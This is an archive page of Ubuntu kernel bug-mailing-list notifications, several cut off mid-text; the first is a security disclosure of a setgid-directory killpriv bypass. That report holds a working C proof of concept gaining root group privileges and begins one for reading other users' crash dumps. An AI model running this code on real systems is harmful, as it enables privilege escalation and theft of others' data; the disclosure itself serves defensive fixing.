https://bugs.launchpad.net/bugs/1779923
Title:
other users' coredumps can be read via setgid directory and killpriv
bypass
Status in linux package in Ubuntu:
In Progress
Status in linux source package in Trusty:
Fix Committed
Status in linux source package in Xenial:
In Progress
Status in linux source package in Bionic:
In Progress
Status in linux source package in Cosmic:
In Progress
Bug description:
Note: I am both sending this bug report to secur...@kernel.org and filing it
in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.
I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:
=
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=
Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/
"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid
directory"
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/
However, as far as I can tell, neither of them actually landed.
You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
):
=
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd,
0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
close(src_fd);
execl("./dir/file", "id", NULL);
err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=
sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.
On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:
=
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r- 1 user whoopsie 16527 Jun 25 22:27
_usr_bin_apport-unpack.1000.crash
-rw-r- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv) {
if (argc != 2) {
printf("usage: ./fallocate ");
return 1;
}
int src_fd = open("/bin/cat", O_RDONLY);
if (src_fd == -1
[Kernel-packages] [Bug 1784299] Re: linux: 3.13.0-154.204 -proposed tracker
** Changed in: kernel-sru-workflow/prepare-package Assignee: Khaled El Mously (kmously) => Kleber Sacilotto de Souza (kleber-souza) ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Khaled El Mously (kmously) => Kleber Sacilotto de Souza (kleber-souza) ** Changed in: kernel-sru-workflow/prepare-package-signed Assignee: Khaled El Mously (kmously) => Kleber Sacilotto de Souza (kleber-souza) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784299 Title: linux: 3.13.0-154.204 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow prepare-package-signed series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784300 (linux-lts-trusty) derivatives: To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784299/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784659] [NEW] P9 PMU Events Update #5
You have been subscribed to a public bug: == Comment: #0 - Sukadev Bhattiprolu - 2018-03-13 18:08:25 == ---Problem Description--- There has been some updates to the P9 PMU events list (some events dropped, some events changed linux category). We need to make corresponding updates to the PMU event JSON files in the Linux perf. Submitted a pull request https://lkml.org/lkml/2018/3/13/1428 with Subject line [GIT PULL] Please pull JSON files for POWR9 PMU events Userspace tool common name: perf Userspace rpm: linux-tools The userspace tool has the following bit modes: 64-bit ** Affects: linux (Ubuntu) Importance: Undecided Assignee: Ubuntu on IBM Power Systems Bug Triage (ubuntu-power-triage) Status: New ** Tags: architecture-ppc64le bugnameltc-165681 severity-medium targetmilestone-inin--- -- P9 PMU Events Update #5 https://bugs.launchpad.net/bugs/1784659 You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1746340] Re: Samsung SSD corruption (fsck needed)
Hi hariprasad. nvme-core.default_ps_max_latency_us=1500 and ASPM disabling by kernel patching worked for me, at least for the main machine (my virtual machines inside this main machine still give the error after some time). I've been using the patch for almost a month without incidents. I had the problem inside a virtual machine after some days, but it didn't happen again yet (I'm using VMs but not for too much time like in the last time the problem happened). I'm going to try to disable TRIM but it's going to take days for me to test if the VMs give any errors. Should sudo rm /etc/cron.weekly/fstrim be enough? Have you experienced problems installing ubuntu into your SSD? My ubuntu installation gives disk error in 8/10 tries. That is, I need to reinstall ubuntu 8 times in average for the installation to end without any problems. I didn't try to install ubuntu with the kernel patch because it's a lot of work to create a live CD instalation with a patched kernel, but maybe I'll do it some day. I also need to try virtualbox in place of virt-manager as kaihengfeng suggested. Problem is that I need to leave things open for days to notice these errors, so it's going to take time. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1746340 Title: Samsung SSD corruption (fsck needed) Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu 4.13.0-21.24-generic 4.13.13 I have a Razer Blade Stealth 2016. The first Ubuntu I installed was Ubuntu 17.04, which gave me this error after 2 weeks of usage. After that, I installed 16.04 and used it for MONTHS without any problems, until it produced the same error this week. I think it has to do with the ubuntu updates, because I did one recently and one today, just before this problem. Could be a coincidence though. I notice the error when I try to save something on disk and it says me that the disk is in read-only mode: lz@lz:/var/log$ touch something touch: cannot touch 'something': Read-only file system lz@lz:/var/log$ cat syslog Jan 29 01:07:39 lz kernel: [62984.375393] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 lz@lz:/var/log$ dmesg [62984.375393] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.377374] Aborting journal on device nvme0n1p2-8. [62984.379343] EXT4-fs (nvme0n1p2): Remounting filesystem read-only [62984.379516] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.381486] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.383484] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.385469] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.387278] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.389262] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.391252] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.393341] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [63285.618078] audit: type=1400 audit(1517195560.393:63): apparmor="DENIED" operation="capable" profile="/usr/sbin/cupsd" pid=22495 comm="cupsd" capability=12 capname="net_admin" Rebooting the ubuntu will give me a black terminal where I can run fsck /dev/nvm30n1p2 (something like that) and it fill fix a lot of orphaned inodes. The majority of time it boots back to the Ubuntu working good, but some times it boots to a broken ubuntu (no images, lots of things broken). I have to reinstall ubuntu then. Every time I reinstall my Ubuntu, I have to try lots of times until it installs without an Input/Output error. When it installs, I can use it for some hours without having the problem, but if I run the software updates, it ALWAYS crashes and enters in read-only mode, specifically in the part that is installing kernel updates. I noticed that Ubuntu installs updates automatically when they're for security reasons. Could this be the reason my Ubuntu worked for months without the problem, but then an update was applied and it broke? I thought that this bug was happening: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1678184 and tried different nvme_core.default_p
[Kernel-packages] [Bug 1784634] Re: Cosmic update to 4.17.10 stable release
** Changed in: linux (Ubuntu Cosmic) Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784634 Title: Cosmic update to 4.17.10 stable release Status in linux package in Ubuntu: Fix Committed Status in linux source package in Cosmic: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The 4.17.10 upstream stable patch set is now available. It should be included in the Ubuntu kernel as well. git://git.kernel.org/ TEST CASE: TBD The following patches from the 4.17.10 stable release shall be applied: 50f9e029a6f9 Linux 4.17.10 1e5e3acc86c8 xhci: Fix perceived dead host due to runtime suspend race with event handler fd3702ec5d2d cxl_getfile(): fix double-iput() on alloc_file() failures a242b5c4cd3a drm_mode_create_lease_ioctl(): fix open-coded filp_clone_open() 3e354dd0a309 alpha: fix osf_wait4() breakage c7c57d4b809a net: usb: asix: replace mii_nway_restart in resume path c3c8f32cb824 ipv6: make DAD fail with enhanced DAD when nonce length differs 87389c0afe5d net: systemport: Fix CRC forwarding check for SYSTEMPORT Lite aa0c60dcc428 net/mlx4_en: Don't reuse RX page when XDP is set 6af4a29f8040 net: aquantia: vlan unicast address list correct handling 7933909aa37f hv_netvsc: Fix napi reschedule while receive completion is busy 3d706d785463 sctp: fix the issue that pathmtu may be set lower than MINSEGMENT 1ef66ca6fc04 sctp: introduce sctp_dst_mtu 41822076f67f net: ip6_gre: get ipv6hdr after skb_cow_head() de3896afb537 tg3: Add higher cpu clock for 5762. f7edf5b73016 sch_fq_codel: zero q->flows_cnt when fq_codel_init fails 2fb78678d136 rhashtable: add restart routine in rhashtable_free_and_destroy() fbc3f8dd3d76 qmi_wwan: add support for Quectel EG91 7e6d5d531f87 ptp: fix missing break in switch feb31042cf45 net: phy: fix flag masking in __set_phy_supported eefbcaa3f545 net/ipv6: Do not allow device only routes via the multipath API 410570f9d797 net/ipv4: Set oif in fib_compute_spec_dst f7939f3c0a83 skbuff: Unconditionally copy pfmemalloc in __skb_clone() 8b5084610f4a net: Don't copy pfmemalloc flag in __copy_skb_header() 7d28b71d05f0 net: diag: Don't double-free TCP_NEW_SYN_RECV sockets in tcp_abort 561478584f8f lib/rhashtable: consider param->min_size when setting initial table size 677f3c02b57a ipv6: ila: select CONFIG_DST_CACHE 684f3623927f ipv6: fix useless rol32 call on hash 3e895f9786d9 ipv4: Return EINVAL when ping_group_range sysctl doesn't map to user ns 2e84740b0439 gen_stats: Fix netlink stats dumping in the presence of padding 44c7b7c90d1d drm/nouveau: Avoid looping through fake MST connectors c89b8c6f8dd3 drm/nouveau: Use drm_connector_list_iter_* for iterating connectors 99701888bc06 drm/nouveau: Remove bogus crtc check in pmops_runtime_idle 9168c089a212 Revert "drm/amd/display: Don't return ddc result and read_bytes in same return value" 81dd92f5fab9 drm/i915: Fix hotplug irq ack on i965/g4x e11afb7badb8 drm/amdgpu: Reserve VM root shared fence slot for command submission (v3) dbe7420980c7 powerpc/powernv: Fix save/restore of SPRG3 on entry/exit from stop (idle) 7d847e18bc8c stop_machine: Disable preemption when waking two stopper threads 0a40ad277cfd vfio/spapr: Use IOMMU pageshift rather than pagesize 4218d03f3505 vfio/pci: Fix potential Spectre v1 02a0f9adbf42 cpufreq: intel_pstate: Register when ACPI PCCH is present 2defc1c00db7 mm/huge_memory.c: fix data loss when splitting a file pmd 214a9fcd0554 mm: memcg: fix use after free in mem_cgroup_iter() 47a8d7bb8c35 ARC: mm: allow mprotect to make stack mappings executable d94c1605ec79 ARC: configs: Remove CONFIG_INITRAMFS_SOURCE from defconfigs 3c23a42e6a2d ARC: Fix CONFIG_SWAP d68ac6cba419 ARCv2: [plat-hsdk]: Save accl reg pair by default e98863e74502 ALSA: hda: add mute led support for HP ProBook 455 G5 0cae4b483f27 ALSA: hda/realtek - Yet another Clevo P950 quirk entry 96b120fa8fe1 ALSA: hda/realtek - Add Panasonic CF-SZ6 headset jack quirk f5f3789f1929 ALSA: rawmidi: Change resized buffers atomically 44bbcf08aba0 fat: fix memory allocation failure handling of match_strdup() cf42670fe67f x86/MCE: Remove min interval polling limitation 16b2d5ad46f7 x86/events/intel/ds: Fix bts_interrupt_threshold alignment 822e65c0beea x86/apm: Don't access __preempt_count with zeroed fs 7d606a69d987 x86/kvmclock: set pvti_cpu0_va after enabling kvmclock 7bb53f0cf030 x8
[Kernel-packages] [Bug 1784636] Re: Cosmic update to 4.17.11 stable release
** Changed in: linux (Ubuntu Cosmic) Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784636 Title: Cosmic update to 4.17.11 stable release Status in linux package in Ubuntu: Fix Committed Status in linux source package in Cosmic: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The 4.17.11 upstream stable patch set is now available. It should be included in the Ubuntu kernel as well. git://git.kernel.org/ TEST CASE: TBD The following patches from the 4.17.11 stable release shall be applied: 84d52eb065f1 Linux 4.17.11 f51e215526f4 can: m_can.c: fix setup of CCCR register: clear CCCR NISO bit before checking can.ctrlmode 467b5b425594 can: m_can: Fix runtime resume call 432a41211834 can: peak_canfd: fix firmware < v3.3.0: limit allocation to 32-bit DMA addr only 02a776fe7694 can: xilinx_can: fix RX overflow interrupt not being enabled 43b08fda3690 can: xilinx_can: fix incorrect clear of non-processed interrupts f2285b33b01a can: xilinx_can: keep only 1-2 frames in TX FIFO to fix TX accounting bc85f6ccdff0 can: xilinx_can: fix device dropping off bus on RX overrun 03145be6c4f3 can: xilinx_can: fix recovery from error states not being propagated 56d8607730c3 can: xilinx_can: fix power management handling def8fd91c741 can: xilinx_can: fix RX loop if RXNEMP is asserted without RXOK d611778e88ce driver core: Partially revert "driver core: correct device's shutdown order" 73fd6967f15f ACPICA: AML Parser: ignore dispatcher error status during table load 317398f18426 usb: gadget: f_fs: Only return delayed status when len is 0 af40ab8d323e usb: gadget: Fix OS descriptors support ab7e6f96127e usb: xhci: Fix memory leak in xhci_endpoint_reset() 45972a24880d usb: dwc2: Fix DMA alignment to start at allocated boundary 1c3f4852574d usb: core: handle hub C_PORT_OVER_CURRENT condition 16cefd1089d6 usb: cdc_acm: Add quirk for Castles VEGA3000 4f0446f7faa5 staging: speakup: fix wraparound in uaccess length check f5d4355c942d Revert "staging:r8188eu: Use lib80211 to support TKIP" 840e03915bcd tcp: add tcp_ooo_try_coalesce() helper 9ad090e6d0ee tcp: call tcp_drop() from tcp_data_queue_ofo() 81a4582f7dc8 tcp: detect malicious patterns in tcp_collapse_ofo_queue() 4971f342bd35 tcp: avoid collapses in tcp_prune_queue() if possible db11182a1e38 tcp: free batches of packets in tcp_prune_ofo_queue() 786f9eb0c5de vxlan: fix default fdb entry netlink notify ordering during netdev create d50a42ed3c12 vxlan: make netlink notify in vxlan_fdb_destroy optional 6982c015011a vxlan: add new fdb alloc and create helpers fc5bf0e5f29b rtnetlink: add rtnl_link_state check in rtnl_configure_link cfe647dde972 net/mlx5: Adjust clock overflow work period 4758cb523477 net/mlx5e: Fix quota counting in aRFS expire flow 34d40b06224b net/mlx5e: Don't allow aRFS for encapsulated packets a46fa1c77d65 net/ipv6: Fix linklocal to global address with VRF a45dad6235f2 multicast: do not restore deleted record source filter mode to new one 129cb3109545 net: phy: consider PHY_IGNORE_INTERRUPT in phy_start_aneg_priv 8c9cd50bbc68 sock: fix sg page frag coalescing in sk_alloc_sg 3313c38be9f4 nfp: flower: ensure dead neighbour entries are not offloaded dead7d65a7c6 net/mlx5e: Refine ets validation function 457b3b57d881 net/mlx5e: Only allow offloading decap egress (egdev) flows 4b4dbb26d2be net/mlx5e: Add ingress/egress indication for offloaded TC flows c049fc66cca2 tls: check RCV_SHUTDOWN in tls_wait_data 109c03ba6c4e r8169: restore previous behavior to accept BIOS WoL settings 4cdc4ccc8f94 net/mlx5: E-Switch, UBSAN fix undefined behavior in mlx5_eswitch_mode afaf0f83261d tcp: do not delay ACK in DCTCP upon CE status change 5a2ebffa878d tcp: do not cancel delay-AcK on DCTCP special ACK ab677b6be87f tcp: helpers to send special DCTCP ack b1f6730440a2 tcp: fix dctcp delayed ACK schedule 0d75a23fdec1 net: skb_segment() should not return NULL 8b0fe96d33d4 net-next/hinic: fix a problem in hinic_xmit_frame() 254b7df2a24a net/mlx4_core: Save the qpn from the input modifier in RST2INIT wrapper 63cd2f033683 net: dsa: mv88e6xxx: fix races between lock and irq freeing f826037208e0 ip: in cmsg IP(V6)_ORIGDSTADDR call pskb_may_pull 492589c0d82d ip: hash fragments consistently e5f7f68b4054 bonding: set default miimon value for non-arp modes if not set 003877f5f193 clk: meson-gxbb: set fc
[Kernel-packages] [Bug 1784655] [NEW] ACPI Exception
Public bug reported: After Upgrading from 16.04.1 LTS to 18.04.1 LTS (Kernel 4.15.0-29-generic) Error during boot.. system works as aspected. 0.120887] ACPI: Added _OSI(Module Device) [0.120887] ACPI: Added _OSI(Processor Device) [0.120887] ACPI: Added _OSI(3.0 _SCP Extensions) [0.120887] ACPI: Added _OSI(Processor Aggregator Device) [0.120887] ACPI: Added _OSI(Linux-Dell-Video) [0.122431] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.122447] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.122460] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.122473] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.122573] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.122586] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.122598] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124013] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124110] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124123] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124136] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124148] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124242] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124255] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124268] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124283] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124376] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124389] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124401] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124414] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124509] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124522] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124535] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124547] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124640] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124655] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124668] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124681] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124773] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124786] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124799] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124815] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124911] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124924] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124937] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124950] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.125046] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.125059] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.125072] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.125085] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.125375] ACPI Exception: Could not find/resolve named package element: \_PR_.CPU0 (20170831/dspkginit-381) [0.129439] ACPI: Interpreter enabled [0.129467] ACPI: (supports S0 S1 S4 S5) [0.129469] ACPI: Using IOAPIC for interrupt routing [0.129579] PCI: U
[Kernel-packages] [Bug 1727235] Re: Dell new AIO requires a new uart backlight driver
** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Also affects: linux-oem (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Bionic) Status: New => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem in Ubuntu. https://bugs.launchpad.net/bugs/1727235 Title: Dell new AIO requires a new uart backlight driver Status in HWE Next: New Status in OEM Priority Project: Triaged Status in linux package in Ubuntu: In Progress Status in linux-oem package in Ubuntu: New Status in linux source package in Bionic: Fix Committed Status in linux-oem source package in Bionic: New Bug description: [Impact] New Dell AIO platforms requires a driver that can communicate with the scalar IC FW through UART interface to get and set the brightness level. [Test] Verified on some new Dell machines and confirmed it works. [Fix] Write a new driver to handle this task. [Regression Potential] Low, it's a new driver for new interface. [Misc] Upstream maintainer ask use to re-implement this driver by the new interface, serdev, but serdev seems doesn't work with ACPI, so submit this driver as Ubuntu sauce patch for now. I'll try re-write it when I'm available. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1727235/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1753941] Re: ubuntu_bpf_jit test failed on Bionic s390x systems
** Changed in: linux (Ubuntu Bionic)
Status: In Progress => Fix Committed
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1753941
Title:
ubuntu_bpf_jit test failed on Bionic s390x systems
Status in ubuntu-kernel-tests:
Invalid
Status in linux package in Ubuntu:
Fix Released
Status in linux source package in Bionic:
Fix Committed
Bug description:
== SRU Justification ==
The ubuntu_bpf_jit test will fail with the following 5 test cases:
test_bpf: #292 BPF_MAXINSNS: Ctx heavy transformations FAIL to prog_create
err=-524 len=4096
test_bpf: #293 BPF_MAXINSNS: Call heavy transformations FAIL to prog_create
err=-524 len=4096
test_bpf: #298 BPF_MAXINSNS: ld_abs+get_processor_id FAIL to prog_create
err=-524 len=4096
test_bpf: #299 BPF_MAXINSNS: ld_abs+vlan_push/pop FAIL to select_runtime
err=-524
test_bpf: #300 BPF_MAXINSNS: jump around ld_abs FAIL to select_runtime
err=-524
test_bpf: Summary: 337 PASSED, 5 FAILED, [329/329 JIT'ed]
And modprobe error can be found in the report as well:
modprobe: ERROR: could not insert 'test_bpf': Invalid argument
Issue can be reproduce on both zVM and Ubuntu on LPAR s390x systems.
== Fix ==
3203c9010060 ("test_bpf: flag tests that cannot be jited on s390")
A backport of the fix is needed to compile out "BPF_MAXINSNS:
ld_abs+vlan_push/pop" and "BPF_MAXINSNS: jump around ld_abs'
testcases. They have been removed from lib/test_bpf.c on 93731ef086ce
("bpf: migrate ebpf ld_abs/ld_ind tests to test_verifier"), however,
backporting this patch would require pulling other patches as prereqs.
== Regression Potential ==
None, the fix is in a test module and only masks failing testcases on s390
only.
== Test Case ==
Load the test_bpf module, it should load without errors.
Not sure if this is related to bug 1751234 (error on AMD64 system is
different)
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-11-generic 4.15.0-11.12
ProcVersionSignature: Ubuntu 4.15.0-11.12-generic 4.15.5
Uname: Linux 4.15.0-11-generic s390x
NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
AlsaDevices: Error: command ['ls', '-l', '/dev/snd/'] failed with exit code
2: ls: cannot access '/dev/snd/': No such file or directory
AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
ApportVersion: 2.20.8-0ubuntu10
Architecture: s390x
ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord':
'arecord'
CRDA: Error: command ['iw', 'reg', 'get'] failed with exit code 1: nl80211
not found.
CurrentDmesg:
Date: Wed Mar 7 08:13:51 2018
IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig'
Lspci:
Lsusb: Error: command ['lsusb'] failed with exit code 1:
PciMultimedia:
ProcFB: Error: [Errno 2] No such file or directory: '/proc/fb'
ProcKernelCmdLine: root=/dev/mapper/kl02vg01-root crashkernel=196M
BOOT_IMAGE=0
RelatedPackageVersions:
linux-restricted-modules-4.15.0-11-generic N/A
linux-backports-modules-4.15.0-11-generic N/A
linux-firmware 1.172
RfKill: Error: [Errno 2] No such file or directory: 'rfkill': 'rfkill'
SourcePackage: linux
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1753941/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1772516] Re: [Config] enable EDAC_DEBUG on ARM64
